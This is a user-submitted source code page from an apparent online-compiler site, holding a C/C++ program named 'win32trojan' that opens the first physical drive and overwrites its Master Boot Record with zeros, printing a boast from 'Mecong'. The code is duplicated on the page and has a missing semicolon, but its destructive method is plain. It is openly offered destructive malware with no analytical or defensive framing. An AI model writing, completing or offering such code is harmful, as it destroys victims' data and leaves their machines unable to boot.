ONLINE COMPILERS
LIBRARY
MANUAL PAGES & DOCS
CONTACT
Latest Users' Questions
User Submitted Source Code!
Description:
win32trojan
Language: C/C++
Code:
win32trojan
Language: C/C++
Code:
#include <Windows.h>
#include <iostream>
using namespace std;
#define MBR_SIZE 512
int main()
{
DWORD write;
char mbrData[MBR_SIZE]; //the size of MBR is only 512 bytes, which we are going to
//overwrite
ZeroMemory(&mbrData, (sizeof mbrData));
HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0"
, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE
, NULL, OPEN_EXISTING, NULL, NULL)
if (WriteFile(MasterBootRecord, mbrData, 512, &write, NULL) == TRUE) {
cout << "MBR has been overwritten by Mecong!" << endl;
Sleep(5000);
ExitProcess(0);
}
else {
cout << "Mecong couldn't overwrite MasterBootRecord!";
Sleep(5000);
ExitProcess(0);
}
CloseHandle(MasterBootRecord);
return EXIT_SUCCESS;
}
#include <iostream>
using namespace std;
#define MBR_SIZE 512
int main()
{
DWORD write;
char mbrData[MBR_SIZE]; //the size of MBR is only 512 bytes, which we are going to
//overwrite
ZeroMemory(&mbrData, (sizeof mbrData));
HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0"
, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE
, NULL, OPEN_EXISTING, NULL, NULL)
if (WriteFile(MasterBootRecord, mbrData, 512, &write, NULL) == TRUE) {
cout << "MBR has been overwritten by Mecong!" << endl;
Sleep(5000);
ExitProcess(0);
}
else {
cout << "Mecong couldn't overwrite MasterBootRecord!";
Sleep(5000);
ExitProcess(0);
}
CloseHandle(MasterBootRecord);
return EXIT_SUCCESS;
}
Comments: